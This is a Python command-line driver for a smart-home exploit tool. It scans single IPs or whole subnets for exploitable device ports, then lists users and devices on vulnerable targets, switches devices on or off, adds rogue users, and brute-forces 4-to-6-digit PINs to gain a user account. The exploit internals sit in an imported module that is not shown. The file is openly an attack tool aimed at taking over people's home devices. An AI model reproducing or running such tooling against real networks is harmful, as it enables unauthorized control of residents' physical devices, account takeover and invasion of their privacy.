#!/usr/bin/env python3
import argparse
from SmartHomeExploit import SmartHomeExploit

DEBUG = True

class Main():
    def __init__(self):
        self.setArgs()
        self.main()

    def setArgs(self):
        parser = argparse.ArgumentParser()
        subparsers = parser.add_subparsers(dest="operator")
        subparsers.required = True

        parser_scan = subparsers.add_parser('scan', help='scan help', description="scan exploitable port")
        parser_scan.add_argument("target", help="scan ip", metavar="target_ip")
        parser_scan.add_argument("-v", help="show account email list", action="store_true")
        parser_scan.add_argument("-n", help="scan internal network(target=x.x.x.x, scan x.x.x.0-255)", action="store_true")
        parser_scan.add_argument("--all", help="scan all ip, use with -n. (-n: Find the first ip will stop)",default=False ,action="store_true")
        parser_scan.add_argument("--timeout", help="tcp scan timeout", type=int, default=1000,metavar="ms")


        parser_cmd = subparsers.add_parser('cmd', help='cmd help', description="send command to target",
                                                  formatter_class=argparse.RawTextHelpFormatter)
        parser_cmd.add_argument("target", help="<protocol>://<target-ip>:<port>", metavar="target")
        cmdgroup = parser_cmd.add_mutually_exclusive_group(required=True)
        cmdgroup.add_argument("-u","--list-user", help="list all user in device", action="store_true")
        cmdgroup.add_argument("-l","--list-device", help="list all device status", action="store_true")
        cmdgroup.add_argument("-s","--device-status", help="list device status", type=int, metavar="device_id")
        cmdgroup.add_argument("-c","--device-control", help="control device status", nargs=2, metavar=("device_id","status"))
        cmdgroup.add_argument("-a","--add-user", help="add a user to device", metavar="username")
        cmdgroup.add_argument("-f","--force-add-user", help="brute force the password, and add a user to device", metavar="username")
        parser_cmd.add_argument("--pwd", help="the password(4 to 6 digit) for --add-user.\nUse with -a or --new-user option.",
                                       default="0000", metavar="pwd")
        parser_cmd.add_argument("--user", help="assign user for cmd", metavar="username")
        parser_cmd.add_argument("--new-user", help="create a new user for cmd", metavar="username")
        parser_cmd.add_argument("-v", help="show account email list", action="store_true")

        self.args = parser.parse_args()

    def main(self):
        # if DEBUG: print(self.args)
        if self.args.operator == "scan":
            if self.args.n:
                t = ".".join(self.args.target.split(".")[:3])
                result = SmartHomeExploit.scanNetWorkPort(t, self.args.v,self.args.timeout,self.args.all)
                if result:
                    for i in result:
                        print("[*] \"%s\" is exploitable." % i)
                else:
                    print("[*] \"%s\" is not exploitable." % (t+".x"))
            else:
                result = SmartHomeExploit.scanVulPort(self.args.target,self.args.v,self.args.timeout)
                if result:
                    print("[*] \"%s\" is exploitable." % result)
                else:
                    print("[*] \"%s\" is not exploitable." % self.args.target)
        elif self.args.operator == "cmd":
            sh = SmartHomeExploit(self.args.target,
                                  user=self.args.user,
                                  new_user=self.args.new_user,
                                  pwd=self.args.pwd,
                                  verbose=self.args.v)
            if self.args.list_user:
                e, users = SmartHomeExploit.getUsers(self.args.target)
                if not e:
                    print("[ERROR] target %s is not exploitable." % self.args.target)
                    return 0
                if users:
                    print("[*] User List")
                    for i in users:
                        print("    > %s" % i)
                else:
                    print("[*] no user")
            elif self.args.list_device:
                l = sh.listDeviceInfo()
                if not l:
                    print("[ERROR] Please check device is exploitable.")
                    exit(0)
                for i in l:
                    SmartHomeExploit.printDevice(i)
            elif self.args.device_status:
                s = sh.deviceStatus(self.args.device_status)
                if not s:
                    print("[ERROR] Please check device_id exist.")
                    exit(0)
                SmartHomeExploit.printDevice(s)
            elif self.args.device_control:
                result = sh.deviceControl(self.args.device_control[0],self.args.device_control[1])
                if result:
                    print("[*] success!")
                else:
                    print("[*] fail!")
            elif self.args.add_user:
                if sh.addUser(self.args.add_user):
                    print("[*] add user success!")
                else:
                    print("[*] add user fail!")
            elif self.args.force_add_user:
                if sh.forceAddUser(self.args.force_add_user):
                    print("[*] add user success!")
                else:
                    print("[*] add user fail!")

        else:
            print("invalid operator")
            exit(1)

if __name__ == "__main__":
    if DEBUG:
        m = Main()
    else:
        Main()